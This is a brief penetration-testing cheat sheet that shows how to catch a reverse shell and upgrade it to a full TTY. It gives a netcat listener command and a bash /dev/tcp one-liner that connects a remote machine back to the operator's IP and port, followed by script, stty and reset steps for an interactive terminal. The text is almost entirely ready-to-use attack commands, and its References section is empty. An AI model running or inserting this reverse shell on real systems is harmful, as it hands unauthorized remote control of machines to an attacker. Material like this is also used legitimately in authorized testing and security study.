Shell Upgrade

Reverse Shell

A reverse shell is initiated from a remote machine and forward to our local port, so we can interact with the remote machine.

# myip: ip address of the local machine
# myport: local port

# On the local machine
nc -lnvp $myport
# Waiting for the connection

# On the remote machine
bash -i >& /dev/tcp/$myip/$myport 0>&1

Shell Upgrade

After setting up the reverse shell, run the following commands in the reverse shell to get a TTY.

# Get a TTY
script /dev/null -c bash

# Hit ^Z to send the local `nc` process to the background
# Disable "echo" for the local TTY and bring back `nc` process
stty raw -echo; fg

# Reset the remote shell
reset
# Note that, you won't see anything now, but remember to type in "screen"

References